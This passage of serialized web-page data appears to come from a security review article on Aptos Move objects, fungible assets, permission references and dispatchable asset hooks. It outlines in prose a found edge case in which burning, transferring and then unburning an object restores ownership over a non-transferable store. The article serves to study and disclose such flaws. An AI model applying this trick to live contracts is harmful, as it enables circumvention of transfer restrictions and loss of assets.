constructor_ref",{"type":23,"tag":230,"props":66455,"children":66456},{"style":268},[66457],{"type":29,"value":271},{"type":23,"tag":230,"props":66459,"children":66460},{"style":274},[66461],{"type":29,"value":64269},{"type":23,"tag":230,"props":66463,"children":66464},{"style":268},[66465],{"type":29,"value":5818},{"type":23,"tag":230,"props":66467,"children":66468},{"style":294},[66469],{"type":29,"value":66470},"create_object",{"type":23,"tag":230,"props":66472,"children":66473},{"style":274},[66474],{"type":29,"value":9536},{"type":23,"tag":230,"props":66476,"children":66477},{"style":268},[66478],{"type":29,"value":5818},{"type":23,"tag":230,"props":66480,"children":66481},{"style":294},[66482],{"type":29,"value":9545},{"type":23,"tag":230,"props":66484,"children":66485},{"style":274},[66486],{"type":29,"value":302},{"type":23,"tag":230,"props":66488,"children":66489},{"style":262},[66490],{"type":29,"value":66408},{"type":23,"tag":230,"props":66492,"children":66493},{"style":274},[66494],{"type":29,"value":9559},{"type":23,"tag":230,"props":66496,"children":66497},{"class":232,"line":252},[66498,66502,66506,66510,66514,66518,66523,66527,66531,66535],{"type":23,"tag":230,"props":66499,"children":66500},{"style":256},[66501],{"type":29,"value":5340},{"type":23,"tag":230,"props":66503,"children":66504},{"style":262},[66505],{"type":29,"value":65856},{"type":23,"tag":230,"props":66507,"children":66508},{"style":268},[66509],{"type":29,"value":271},{"type":23,"tag":230,"props":66511,"children":66512},{"style":274},[66513],{"type":29,"value":64269},{"type":23,"tag":230,"props":66515,"children":66516},{"style":268},[66517],{"type":29,"value":5818},{"type":23,"tag":230,"props":66519,"children":66520},{"style":294},[66521],{"type":29,"value":66522},"address_from_constructor_ref",{"type":23,"tag":230,"props":66524,"children":66525},{"style":274},[66526],{"type":29,"value":302},{"type":23,"tag":230,"props":66528,"children":66529},{"style":268},[66530],{"type":29,"value":5448},{"type":23,"tag":230,"props":66532,"children":66533},{"style":262},[66534],{"type":29,"value":64703},{"type":23,"tag":230,"props":66536,"children":66537},{"style":274},[66538],{"type":29,"value":753},{"type":23,"tag":230,"props":66540,"children":66541},{"class":232,"line":280},[66542,66546,66550,66554,66559,66563,66567,66571,66575,66579,66583],{"type":23,"tag":230,"props":66543,"children":66544},{"style":256},[66545],{"type":29,"value":5340},{"type":23,"tag":230,"props":66547,"children":66548},{"style":262},[66549],{"type":29,"value":8168},{"type":23,"tag":230,"props":66551,"children":66552},{"style":268},[66553],{"type":29,"value":271},{"type":23,"tag":230,"props":66555,"children":66556},{"style":274},[66557],{"type":29,"value":66558}," primary_fungible_store",{"type":23,"tag":230,"props":66560,"children":66561},{"style":268},[66562],{"type":29,"value":5818},{"type":23,"tag":230,"props":66564,"children":66565},{"style":294},[66566],{"type":29,"value":64595},{"type":23,"tag":230,"props":66568,"children":66569},{"style":274},[66570],{"type":29,"value":302},{"type":23,"tag":230,"props":66572,"children":66573},{"style":262},[66574],{"type":29,"value":65902},{"type":23,"tag":230,"props":66576,"children":66577},{"style":274},[66578],{"type":29,"value":684},{"type":23,"tag":230,"props":66580,"children":66581},{"style":294},[66582],{"type":29,"value":64551},{"type":23,"tag":230,"props":66584,"children":66585},{"style":274},[66586],{"type":29,"value":17749},{"type":23,"tag":230,"props":66588,"children":66589},{"class":232,"line":334},[66590],{"type":23,"tag":230,"props":66591,"children":66592},{"emptyLinePlaceholder":18},[66593],{"type":29,"value":459},{"type":23,"tag":230,"props":66595,"children":66596},{"class":232,"line":371},[66597,66602,66606,66611,66615,66619,66623,66627,66631,66635],{"type":23,"tag":230,"props":66598,"children":66599},{"style":274},[66600],{"type":29,"value":66601},"    object",{"type":23,"tag":230,"props":66603,"children":66604},{"style":268},[66605],{"type":29,"value":5818},{"type":23,"tag":230,"props":66607,"children":66608},{"style":294},[66609],{"type":29,"value":66610},"transfer_raw",{"type":23,"tag":230,"props":66612,"children":66613},{"style":274},[66614],{"type":29,"value":302},{"type":23,"tag":230,"props":66616,"children":66617},{"style":262},[66618],{"type":29,"value":66408},{"type":23,"tag":230,"props":66620,"children":66621},{"style":274},[66622],{"type":29,"value":684},{"type":23,"tag":230,"props":66624,"children":66625},{"style":262},[66626],{"type":29,"value":65902},{"type":23,"tag":230,"props":66628,"children":66629},{"style":274},[66630],{"type":29,"value":684},{"type":23,"tag":230,"props":66632,"children":66633},{"style":262},[66634],{"type":29,"value":66429},{"type":23,"tag":230,"props":66636,"children":66637},{"style":274},[66638],{"type":29,"value":753},{"type":23,"tag":230,"props":66640,"children":66641},{"class":232,"line":391},[66642],{"type":23,"tag":230,"props":66643,"children":66644},{"style":237},[66645],{"type":29,"value":66646},"    //receipient can interact with store by using their signer\n",{"type":23,"tag":230,"props":66648,"children":66649},{"class":232,"line":400},[66650],{"type":23,"tag":230,"props":66651,"children":66652},{"style":274},[66653],{"type":29,"value":975},{"type":23,"tag":32,"props":66655,"children":66656},{},[66657,66659,66666],{"type":29,"value":66658},"The ownership transfer issue also showed up during our review of the fungible asset standard, where we identified an interesting ",{"type":23,"tag":181,"props":66660,"children":66663},{"href":66661,"rel":66662},"https://github.com/aptos-labs/aptos-core/commit/e8c5e4bd03930d25f0dbec9529680fac36eb2fa6",[185],[66664],{"type":29,"value":66665},"edge case",{"type":29,"value":66667}," involving the transfer of a non-transferable fungible store.",{"type":23,"tag":220,"props":66669,"children":66671},{"className":5320,"code":66670,"language":5319,"meta":7,"style":7},"public fun transfer_with_ref(ref: LinearTransferRef, to: address) acquires ObjectCore {\n    assert!(!exists\u003CUntransferable>(ref.self), error::permission_denied(ENOT_MOVABLE));\n    let object = borrow_global_mut\u003CObjectCore>(ref.self);\n    assert!(\n        object.owner == ref.owner,\n        error::permission_denied(ENOT_OBJECT_OWNER),\n    );\n    \n    [...]\n    \n    object.owner = to;\n}\n",[66672],{"type":23,"tag":71,"props":66673,"children":66674},{"__ignoreMap":7},[66675,66740,66801,66848,66859,66894,66914,66921,66928,66943,66950,66978],{"type":23,"tag":230,"props":66676,"children":66677},{"class":232,"line":233},[66678,66682,66686,66691,66695,66699,66703,66708,66712,66716,66720,66724,66728,66732,66736],{"type":23,"tag":230,"props":66679,"children":66680},{"style":262},[66681],{"type":29,"value":63450},{"type":23,"tag":230,"props":66683,"children":66684},{"style":262},[66685],{"type":29,"value":8544},{"type":23,"tag":230,"props":66687,"children":66688},{"style":294},[66689],{"type":29,"value":66690}," transfer_with_ref",{"type":23,"tag":230,"props":66692,"children":66693},{"style":274},[66694],{"type":29,"value":302},{"type":23,"tag":230,"props":66696,"children":66697},{"style":256},[66698],{"type":29,"value":65112},{"type":23,"tag":230,"props":66700,"children":66701},{"style":268},[66702],{"type":29,"value":218},{"type":23,"tag":230,"props":66704,"children":66705},{"style":676},[66706],{"type":29,"value":66707}," LinearTransferRef",{"type":23,"tag":230,"props":66709,"children":66710},{"style":274},[66711],{"type":29,"value":684},{"type":23,"tag":230,"props":66713,"children":66714},{"style":262},[66715],{"type":29,"value":35020},{"type":23,"tag":230,"props":66717,"children":66718},{"style":268},[66719],{"type":29,"value":218},{"type":23,"tag":230,"props":66721,"children":66722},{"style":262},[66723],{"type":29,"value":8587},{"type":23,"tag":230,"props":66725,"children":66726},{"style":274},[66727],{"type":29,"value":703},{"type":23,"tag":230,"props":66729,"children":66730},{"style":262},[66731],{"type":29,"value":8681},{"type":23,"tag":230,"props":66733,"children":66734},{"style":676},[66735],{"type":29,"value":65749},{"type":23,"tag":230,"props":66737,"children":66738},{"style":274},[66739],{"type":29,"value":277},{"type":23,"tag":230,"props":66741,"children":66742},{"class":232,"line":243},[66743,66747,66751,66755,66759,66763,66768,66772,66776,66780,66784,66788,66792,66796],{"type":23,"tag":230,"props":66744,"children":66745},{"style":294},[66746],{"type":29,"value":64119},{"type":23,"tag":230,"props":66748,"children":66749},{"style":274},[66750],{"type":29,"value":302},{"type":23,"tag":230,"props":66752,"children":66753},{"style":268},[66754],{"type":29,"value":22936},{"type":23,"tag":230,"props":66756,"children":66757},{"style":262},[66758],{"type":29,"value":9041},{"type":23,"tag":230,"props":66760,"children":66761},{"style":274},[66762],{"type":29,"value":8143},{"type":23,"tag":230,"props":66764,"children":66765},{"style":676},[66766],{"type":29,"value":66767},"Untransferable",{"type":23,"tag":230,"props":66769,"children":66770},{"style":274},[66771],{"type":29,"value":9947},{"type":23,"tag":230,"props":66773,"children":66774},{"style":256},[66775],{"type":29,"value":65112},{"type":23,"tag":230,"props":66777,"children":66778},{"style":268},[66779],{"type":29,"value":312},{"type":23,"tag":230,"props":66781,"children":66782},{"style":256},[66783],{"type":29,"value":16040},{"type":23,"tag":230,"props":66785,"children":66786},{"style":274},[66787],{"type":29,"value":64708},{"type":23,"tag":230,"props":66789,"children":66790},{"style":268},[66791],{"type":29,"value":5818},{"type":23,"tag":230,"props":66793,"children":66794},{"style":294},[66795],{"type":29,"value":65594},{"type":23,"tag":230,"props":66797,"children":66798},{"style":274},[66799],{"type":29,"value":66800},"(ENOT_MOVABLE));\n",{"type":23,"tag":230,"props":66802,"children":66803},{"class":232,"line":252},[66804,66808,66812,66816,66820,66824,66828,66832,66836,66840,66844],{"type":23,"tag":230,"props":66805,"children":66806},{"style":256},[66807],{"type":29,"value":5340},{"type":23,"tag":230,"props":66809,"children":66810},{"style":262},[66811],{"type":29,"value":64269},{"type":23,"tag":230,"props":66813,"children":66814},{"style":268},[66815],{"type":29,"value":271},{"type":23,"tag":230,"props":66817,"children":66818},{"style":262},[66819],{"type":29,"value":9933},{"type":23,"tag":230,"props":66821,"children":66822},{"style":274},[66823],{"type":29,"value":8143},{"type":23,"tag":230,"props":66825,"children":66826},{"style":676},[66827],{"type":29,"value":66244},{"type":23,"tag":230,"props":66829,"children":66830},{"style":274},[66831],{"type":29,"value":9947},{"type":23,"tag":230,"props":66833,"children":66834},{"style":256},[66835],{"type":29,"value":65112},{"type":23,"tag":230,"props":66837,"children":66838},{"style":268},[66839],{"type":29,"value":312},{"type":23,"tag":230,"props":66841,"children":66842},{"style":256},[66843],{"type":29,"value":16040},{"type":23,"tag":230,"props":66845,"children":66846},{"style":274},[66847],{"type":29,"value":753},{"type":23,"tag":230,"props":66849,"children":66850},{"class":232,"line":280},[66851,66855],{"type":23,"tag":230,"props":66852,"children":66853},{"style":294},[66854],{"type":29,"value":64119},{"type":23,"tag":230,"props":66856,"children":66857},{"style":274},[66858],{"type":29,"value":619},{"type":23,"tag":230,"props":66860,"children":66861},{"class":232,"line":334},[66862,66867,66871,66876,66880,66885,66889],{"type":23,"tag":230,"props":66863,"children":66864},{"style":262},[66865],{"type":29,"value":66866},"        object",{"type":23,"tag":230,"props":66868,"children":66869},{"style":268},[66870],{"type":29,"value":312},{"type":23,"tag":230,"props":66872,"children":66873},{"style":274},[66874],{"type":29,"value":66875},"owner ",{"type":23,"tag":230,"props":66877,"children":66878},{"style":268},[66879],{"type":29,"value":10911},{"type":23,"tag":230,"props":66881,"children":66882},{"style":256},[66883],{"type":29,"value":66884}," ref",{"type":23,"tag":230,"props":66886,"children":66887},{"style":268},[66888],{"type":29,"value":312},{"type":23,"tag":230,"props":66890,"children":66891},{"style":274},[66892],{"type":29,"value":66893},"owner,\n",{"type":23,"tag":230,"props":66895,"children":66896},{"class":232,"line":371},[66897,66902,66906,66910],{"type":23,"tag":230,"props":66898,"children":66899},{"style":274},[66900],{"type":29,"value":66901},"        error",{"type":23,"tag":230,"props":66903,"children":66904},{"style":268},[66905],{"type":29,"value":5818},{"type":23,"tag":230,"props":66907,"children":66908},{"style":294},[66909],{"type":29,"value":65594},{"type":23,"tag":230,"props":66911,"children":66912},{"style":274},[66913],{"type":29,"value":66278},{"type":23,"tag":230,"props":66915,"children":66916},{"class":232,"line":391},[66917],{"type":23,"tag":230,"props":66918,"children":66919},{"style":274},[66920],{"type":29,"value":45425},{"type":23,"tag":230,"props":66922,"children":66923},{"class":232,"line":400},[66924],{"type":23,"tag":230,"props":66925,"children":66926},{"style":274},[66927],{"type":29,"value":63561},{"type":23,"tag":230,"props":66929,"children":66930},{"class":232,"line":444},[66931,66935,66939],{"type":23,"tag":230,"props":66932,"children":66933},{"style":274},[66934],{"type":29,"value":64493},{"type":23,"tag":230,"props":66936,"children":66937},{"style":268},[66938],{"type":29,"value":11922},{"type":23,"tag":230,"props":66940,"children":66941},{"style":274},[66942],{"type":29,"value":14103},{"type":23,"tag":230,"props":66944,"children":66945},{"class":232,"line":453},[66946],{"type":23,"tag":230,"props":66947,"children":66948},{"style":274},[66949],{"type":29,"value":63561},{"type":23,"tag":230,"props":66951,"children":66952},{"class":232,"line":462},[66953,66957,66961,66965,66969,66974],{"type":23,"tag":230,"props":66954,"children":66955},{"style":262},[66956],{"type":29,"value":66601},{"type":23,"tag":230,"props":66958,"children":66959},{"style":268},[66960],{"type":29,"value":312},{"type":23,"tag":230,"props":66962,"children":66963},{"style":274},[66964],{"type":29,"value":66875},{"type":23,"tag":230,"props":66966,"children":66967},{"style":268},[66968],{"type":29,"value":863},{"type":23,"tag":230,"props":66970,"children":66971},{"style":262},[66972],{"type":29,"value":66973}," to",{"type":23,"tag":230,"props":66975,"children":66976},{"style":274},[66977],{"type":29,"value":511},{"type":23,"tag":230,"props":66979,"children":66980},{"class":232,"line":471},[66981],{"type":23,"tag":230,"props":66982,"children":66983},{"style":274},[66984],{"type":29,"value":975},{"type":23,"tag":32,"props":66986,"children":66987},{},[66988,66990,66995,66997,67002],{"type":29,"value":66989},"A user could exploit this by creating an object and a transfer permission, burning the object (changing its ownership to the ",{"type":23,"tag":71,"props":66991,"children":66993},{"className":66992},[],[66994],{"type":29,"value":65647},{"type":29,"value":66996},"), transferring it to another user, and then registering a non-transferable fungible store with that object. While the store could no longer be moved using the owner's ",{"type":23,"tag":71,"props":66998,"children":67000},{"className":66999},[],[67001],{"type":29,"value":9482},{"type":29,"value":67003}," or the transfer permission due to non-transferable restrictions, it could be unburned to restore the original ownership!",{"type":23,"tag":59,"props":67005,"children":67007},{"id":67006},"references",[67008],{"type":29,"value":67009},"References",{"type":23,"tag":32,"props":67011,"children":67012},{},[67013,67018,67020,67026,67028,67033,67035,67040],{"type":23,"tag":71,"props":67014,"children":67016},{"className":67015},[],[67017],{"type":29,"value":67009},{"type":29,"value":67019}," are a permission type resource that authenticate a caller for security-critical operations. ",{"type":23,"tag":71,"props":67021,"children":67023},{"className":67022},[],[67024],{"type":29,"value":67025},"Refs",{"type":29,"value":67027}," are based on the ",{"type":23,"tag":71,"props":67029,"children":67031},{"className":67030},[],[67032],{"type":29,"value":50623},{"type":29,"value":67034}," model, but they are also adapted by fungible assets. Some of these are defined by the ",{"type":23,"tag":71,"props":67036,"children":67038},{"className":67037},[],[67039],{"type":29,"value":50623},{"type":29,"value":67041}," itself, while others are created through the fungible asset module. What's more, some are shared between them, while others appear shared but aren’t.",{"type":23,"tag":32,"props":67043,"children":67044},{},[67045,67047,67052,67054,67059,67060,67066,67068,67073,67075,67080],{"type":29,"value":67046},"Let's get back to the ",{"type":23,"tag":71,"props":67048,"children":67050},{"className":67049},[],[67051],{"type":29,"value":63851},{"type":29,"value":67053}," deletion example. Both ",{"type":23,"tag":71,"props":67055,"children":67057},{"className":67056},[],[67058],{"type":29,"value":65136},{"type":29,"value":112},{"type":23,"tag":71,"props":67061,"children":67063},{"className":67062},[],[67064],{"type":29,"value":67065},"fungible_asset::remove_store",{"type":29,"value":67067}," use the same object-specific ",{"type":23,"tag":71,"props":67069,"children":67071},{"className":67070},[],[67072],{"type":29,"value":65068},{"type":29,"value":67074}," permission. It can be created only during object creation. There is no separate ",{"type":23,"tag":71,"props":67076,"children":67078},{"className":67077},[],[67079],{"type":29,"value":65068},{"type":29,"value":67081}," for fungible assets.",{"type":23,"tag":220,"props":67083,"children":67084},{"className":5320,"code":65018,"language":5319,"meta":7,"style":7},[67085],{"type":23,"tag":71,"props":67086,"children":67087},{"__ignoreMap":7},[67088,67095,67134,67141,67148],{"type":23,"tag":230,"props":67089,"children":67090},{"class":232,"line":233},[67091],{"type":23,"tag":230,"props":67092,"children":67093},{"style":237},[67094],{"type":29,"value":65030},{"type":23,"tag":230,"props":67096,"children":67097},{"class":232,"line":243},[67098,67102,67106,67110,67114,67118,67122,67126,67130],{"type":23,"tag":230,"props":67099,"children":67100},{"style":262},[67101],{"type":29,"value":63450},{"type":23,"tag":230,"props":67103,"children":67104},{"style":262},[67105],{"type":29,"value":8544},{"type":23,"tag":230,"props":67107,"children":67108},{"style":294},[67109],{"type":29,"value":65046},{"type":23,"tag":230,"props":67111,"children":67112},{"style":274},[67113],{"type":29,"value":302},{"type":23,"tag":230,"props":67115,"children":67116},{"style":262},[67117],{"type":29,"value":65055},{"type":23,"tag":230,"props":67119,"children":67120},{"style":268},[67121],{"type":29,"value":218},{"type":23,"tag":230,"props":67123,"children":67124},{"style":268},[67125],{"type":29,"value":9477},{"type":23,"tag":230,"props":67127,"children":67128},{"style":676},[67129],{"type":29,"value":65068},{"type":23,"tag":230,"props":67131,"children":67132},{"style":274},[67133],{"type":29,"value":4516},{"type":23,"tag":230,"props":67135,"children":67136},{"class":232,"line":252},[67137],{"type":23,"tag":230,"props":67138,"children":67139},{"emptyLinePlaceholder":18},[67140],{"type":29,"value":459},{"type":23,"tag":230,"props":67142,"children":67143},{"class":232,"line":280},[67144],{"type":23,"tag":230,"props":67145,"children":67146},{"style":237},[67147],{"type":29,"value":65087},{"type":23,"tag":230,"props":67149,"children":67150},{"class":232,"line":334},[67151,67155,67159,67163,67167,67171,67175,67179],{"type":23,"tag":230,"props":67152,"children":67153},{"style":262},[67154],{"type":29,"value":63450},{"type":23,"tag":230,"props":67156,"children":67157},{"style":262},[67158],{"type":29,"value":8544},{"type":23,"tag":230,"props":67160,"children":67161},{"style":294},[67162],{"type":29,"value":65103},{"type":23,"tag":230,"props":67164,"children":67165},{"style":274},[67166],{"type":29,"value":302},{"type":23,"tag":230,"props":67168,"children":67169},{"style":256},[67170],{"type":29,"value":65112},{"type":23,"tag":230,"props":67172,"children":67173},{"style":268},[67174],{"type":29,"value":218},{"type":23,"tag":230,"props":67176,"children":67177},{"style":676},[67178],{"type":29,"value":65121},{"type":23,"tag":230,"props":67180,"children":67181},{"style":274},[67182],{"type":29,"value":4516},{"type":23,"tag":32,"props":67184,"children":67185},{},[67186,67188,67193,67195,67201],{"type":29,"value":67187},"On the other hand, the \"frozen\" status of a ",{"type":23,"tag":71,"props":67189,"children":67191},{"className":67190},[],[67192],{"type":29,"value":63851},{"type":29,"value":67194}," is toggled using a ",{"type":23,"tag":71,"props":67196,"children":67198},{"className":67197},[],[67199],{"type":29,"value":67200},"TransferRef",{"type":29,"value":67202},", which is defined in both models (and not interchangeable). They also can be created only during object creation.",{"type":23,"tag":220,"props":67204,"children":67206},{"className":5320,"code":67205,"language":5319,"meta":7,"style":7},"public fun set_frozen_flag\u003CT: key>(\n    ref: &TransferRef,\n    store: Object\u003CT>,\n    frozen: bool,\n)\n",[67207],{"type":23,"tag":71,"props":67208,"children":67209},{"__ignoreMap":7},[67210,67246,67270,67297,67316],{"type":23,"tag":230,"props":67211,"children":67212},{"class":232,"line":233},[67213,67217,67221,67226,67230,67234,67238,67242],{"type":23,"tag":230,"props":67214,"children":67215},{"style":262},[67216],{"type":29,"value":63450},{"type":23,"tag":230,"props":67218,"children":67219},{"style":262},[67220],{"type":29,"value":8544},{"type":23,"tag":230,"props":67222,"children":67223},{"style":262},[67224],{"type":29,"value":67225}," set_frozen_flag",{"type":23,"tag":230,"props":67227,"children":67228},{"style":274},[67229],{"type":29,"value":8143},{"type":23,"tag":230,"props":67231,"children":67232},{"style":676},[67233],{"type":29,"value":8324},{"type":23,"tag":230,"props":67235,"children":67236},{"style":268},[67237],{"type":29,"value":218},{"type":23,"tag":230,"props":67239,"children":67240},{"style":262},[67241],{"type":29,"value":8268},{"type":23,"tag":230,"props":67243,"children":67244},{"style":274},[67245],{"type":29,"value":8925},{"type":23,"tag":230,"props":67247,"children":67248},{"class":232,"line":243},[67249,67254,67258,67262,67266],{"type":23,"tag":230,"props":67250,"children":67251},{"style":256},[67252],{"type":29,"value":67253},"    ref",{"type":23,"tag":230,"props":67255,"children":67256},{"style":268},[67257],{"type":29,"value":218},{"type":23,"tag":230,"props":67259,"children":67260},{"style":268},[67261],{"type":29,"value":9477},{"type":23,"tag":230,"props":67263,"children":67264},{"style":676},[67265],{"type":29,"value":67200},{"type":23,"tag":230,"props":67267,"children":67268},{"style":274},[67269],{"type":29,"value":388},{"type":23,"tag":230,"props":67271,"children":67272},{"class":232,"line":252},[67273,67277,67281,67285,67289,67293],{"type":23,"tag":230,"props":67274,"children":67275},{"style":262},[67276],{"type":29,"value":31721},{"type":23,"tag":230,"props":67278,"children":67279},{"style":268},[67280],{"type":29,"value":218},{"type":23,"tag":230,"props":67282,"children":67283},{"style":676},[67284],{"type":29,"value":63336},{"type":23,"tag":230,"props":67286,"children":67287},{"style":274},[67288],{"type":29,"value":8143},{"type":23,"tag":230,"props":67290,"children":67291},{"style":676},[67292],{"type":29,"value":8324},{"type":23,"tag":230,"props":67294,"children":67295},{"style":274},[67296],{"type":29,"value":8475},{"type":23,"tag":230,"props":67298,"children":67299},{"class":232,"line":280},[67300,67304,67308,67312],{"type":23,"tag":230,"props":67301,"children":67302},{"style":262},[67303],{"type":29,"value":62988},{"type":23,"tag":230,"props":67305,"children":67306},{"style":268},[67307],{"type":29,"value":218},{"type":23,"tag":230,"props":67309,"children":67310},{"style":676},[67311],{"type":29,"value":14381},{"type":23,"tag":230,"props":67313,"children":67314},{"style":274},[67315],{"type":29,"value":388},{"type":23,"tag":230,"props":67317,"children":67318},{"class":232,"line":334},[67319],{"type":23,"tag":230,"props":67320,"children":67321},{"style":274},[67322],{"type":29,"value":4516},{"type":23,"tag":32,"props":67324,"children":67325},{},[67326,67327,67332,67333,67338],{"type":29,"value":980},{"type":23,"tag":71,"props":67328,"children":67330},{"className":67329},[],[67331],{"type":29,"value":50623},{"type":29,"value":3374},{"type":23,"tag":71,"props":67334,"children":67336},{"className":67335},[],[67337],{"type":29,"value":67200},{"type":29,"value":67339}," is used to transfer object ownership:",{"type":23,"tag":220,"props":67341,"children":67343},{"className":5320,"code":67342,"language":5319,"meta":7,"style":7},"/// Used to create LinearTransferRef, hence ownership transfer.\nstruct TransferRef has drop, store {\n    self: address,\n}\n",[67344],{"type":23,"tag":71,"props":67345,"children":67346},{"__ignoreMap":7},[67347,67355,67388,67407],{"type":23,"tag":230,"props":67348,"children":67349},{"class":232,"line":233},[67350],{"type":23,"tag":230,"props":67351,"children":67352},{"style":237},[67353],{"type":29,"value":67354},"/// Used to create LinearTransferRef, hence ownership transfer.\n",{"type":23,"tag":230,"props":67356,"children":67357},{"class":232,"line":243},[67358,67362,67367,67371,67376,67380,67384],{"type":23,"tag":230,"props":67359,"children":67360},{"style":256},[67361],{"type":29,"value":11733},{"type":23,"tag":230,"props":67363,"children":67364},{"style":676},[67365],{"type":29,"value":67366}," TransferRef",{"type":23,"tag":230,"props":67368,"children":67369},{"style":262},[67370],{"type":29,"value":11742},{"type":23,"tag":230,"props":67372,"children":67373},{"style":262},[67374],{"type":29,"value":67375}," drop",{"type":23,"tag":230,"props":67377,"children":67378},{"style":274},[67379],{"type":29,"value":684},{"type":23,"tag":230,"props":67381,"children":67382},{"style":262},[67383],{"type":29,"value":8277},{"type":23,"tag":230,"props":67385,"children":67386},{"style":274},[67387],{"type":29,"value":277},{"type":23,"tag":230,"props":67389,"children":67390},{"class":232,"line":252},[67391,67395,67399,67403],{"type":23,"tag":230,"props":67392,"children":67393},{"style":256},[67394],{"type":29,"value":23101},{"type":23,"tag":230,"props":67396,"children":67397},{"style":268},[67398],{"type":29,"value":218},{"type":23,"tag":230,"props":67400,"children":67401},{"style":262},[67402],{"type":29,"value":8587},{"type":23,"tag":230,"props":67404,"children":67405},{"style":274},[67406],{"type":29,"value":388},{"type":23,"tag":230,"props":67408,"children":67409},{"class":232,"line":280},[67410],{"type":23,"tag":230,"props":67411,"children":67412},{"style":274},[67413],{"type":29,"value":975},{"type":23,"tag":32,"props":67415,"children":67416},{},[67417,67419,67424],{"type":29,"value":67418},"While the fungible asset's ",{"type":23,"tag":71,"props":67420,"children":67422},{"className":67421},[],[67423],{"type":29,"value":67200},{"type":29,"value":67425}," manages the transfer of fungible assets and the (un)freezing of fungible stores:",{"type":23,"tag":220,"props":67427,"children":67429},{"className":5320,"code":67428,"language":5319,"meta":7,"style":7},"/// TransferRef can be used to allow or disallow the owner of fungible assets from transferring the asset\n/// and allow the holder of TransferRef to transfer fungible assets from any account.\nstruct TransferRef has drop, store {\n    metadata: Object\u003CMetadata>\n}\n",[67430],{"type":23,"tag":71,"props":67431,"children":67432},{"__ignoreMap":7},[67433,67441,67449,67480,67507],{"type":23,"tag":230,"props":67434,"children":67435},{"class":232,"line":233},[67436],{"type":23,"tag":230,"props":67437,"children":67438},{"style":237},[67439],{"type":29,"value":67440},"/// TransferRef can be used to allow or disallow the owner of fungible assets from transferring the asset\n",{"type":23,"tag":230,"props":67442,"children":67443},{"class":232,"line":243},[67444],{"type":23,"tag":230,"props":67445,"children":67446},{"style":237},[67447],{"type":29,"value":67448},"/// and allow the holder of TransferRef to transfer fungible assets from any account.\n",{"type":23,"tag":230,"props":67450,"children":67451},{"class":232,"line":252},[67452,67456,67460,67464,67468,67472,67476],{"type":23,"tag":230,"props":67453,"children":67454},{"style":256},[67455],{"type":29,"value":11733},{"type":23,"tag":230,"props":67457,"children":67458},{"style":676},[67459],{"type":29,"value":67366},{"type":23,"tag":230,"props":67461,"children":67462},{"style":262},[67463],{"type":29,"value":11742},{"type":23,"tag":230,"props":67465,"children":67466},{"style":262},[67467],{"type":29,"value":67375},{"type":23,"tag":230,"props":67469,"children":67470},{"style":274},[67471],{"type":29,"value":684},{"type":23,"tag":230,"props":67473,"children":67474},{"style":262},[67475],{"type":29,"value":8277},{"type":23,"tag":230,"props":67477,"children":67478},{"style":274},[67479],{"type":29,"value":277},{"type":23,"tag":230,"props":67481,"children":67482},{"class":232,"line":280},[67483,67487,67491,67495,67499,67503],{"type":23,"tag":230,"props":67484,"children":67485},{"style":262},[67486],{"type":29,"value":63327},{"type":23,"tag":230,"props":67488,"children":67489},{"style":268},[67490],{"type":29,"value":218},{"type":23,"tag":230,"props":67492,"children":67493},{"style":676},[67494],{"type":29,"value":63336},{"type":23,"tag":230,"props":67496,"children":67497},{"style":274},[67498],{"type":29,"value":8143},{"type":23,"tag":230,"props":67500,"children":67501},{"style":676},[67502],{"type":29,"value":63345},{"type":23,"tag":230,"props":67504,"children":67505},{"style":274},[67506],{"type":29,"value":8329},{"type":23,"tag":230,"props":67508,"children":67509},{"class":232,"line":334},[67510],{"type":23,"tag":230,"props":67511,"children":67512},{"style":274},[67513],{"type":29,"value":975},{"type":23,"tag":32,"props":67515,"children":67516},{},[67517,67519,67525,67527,67533],{"type":29,"value":67518},"Additionally, there are fungible asset-specific references such as ",{"type":23,"tag":71,"props":67520,"children":67522},{"className":67521},[],[67523],{"type":29,"value":67524},"MintRef",{"type":29,"value":67526}," for minting and ",{"type":23,"tag":71,"props":67528,"children":67530},{"className":67529},[],[67531],{"type":29,"value":67532},"BurnRef",{"type":29,"value":67534}," for burning. These references are used exclusively by the fungible asset model, but they still must be created when the fungible asset object is initialized.",{"type":23,"tag":24,"props":67536,"children":67538},{"id":67537},"dispatchable-fungible-assets",[67539],{"type":29,"value":67540},"Dispatchable fungible assets",{"type":23,"tag":32,"props":67542,"children":67543},{},[67544],{"type":29,"value":67545},"Dispatchable fungible assets enhance the functionality of fungible assets by enabling the overloading of operations like deposits and withdrawals.",{"type":23,"tag":32,"props":67547,"children":67548},{},[67549],{"type":29,"value":67550},"Hooks registered during the creation of a dispatchable fungible asset override the default logic for these operations, allowing for custom features like access control, fee mechanisms, or granular pausing.",{"type":23,"tag":67552,"props":67553,"children":67554},"warning",{},[67555],{"type":23,"tag":32,"props":67556,"children":67557},{},[67558,67560,67566],{"type":29,"value":67559},"Overloading the core fungible asset functions introduces potential security risks; for example, during a deposit, funds may not end up at the intended address. The dispatchable fungible asset API provides functions like ",{"type":23,"tag":71,"props":67561,"children":67563},{"className":67562},[],[67564],{"type":29,"value":67565},"transfer_assert_minimum_deposit",{"type":29,"value":67567}," that can help mitigate such risks.",{"type":23,"tag":32,"props":67569,"children":67570},{},[67571,67573,67578,67580,67587],{"type":29,"value":67572},"Hook functions for dispatchable fungible assets must have the correct type signature. They must also be declared ",{"type":23,"tag":71,"props":67574,"children":67576},{"className":67575},[],[67577],{"type":29,"value":63450},{"type":29,"value":67579}," to ensure ",{"type":23,"tag":181,"props":67581,"children":67584},{"href":67582,"rel":67583},"https://aptos.dev/en/build/smart-contracts/book/package-upgrades#compatibility-rules",[185],[67585],{"type":29,"value":67586},"their signature remains immutable",{"type":29,"value":67588},". An example implementation might look like this:",{"type":23,"tag":220,"props":67590,"children":67592},{"className":5320,"code":67591,"language":5319,"meta":7,"style":7},"public fun withdraw_hook\u003CT: key>(\n    store: Object\u003CT>,\n    amount: u64,\n    transfer_ref: &TransferRef,\n): FungibleAsset {\n    //check paused, gather fees etc.\n    fungible_asset::withdraw_with_ref(transfer_ref, store, amount)\n}\n\npublic fun deposit_hook\u003CT: key>(\n    store: Object\u003CT>,\n    fa: FungibleAsset,\n    transfer_ref: &TransferRef,\n) {\n    //check paused, gather fees etc.\n    fungible_asset::deposit_with_ref(transfer_ref, store, 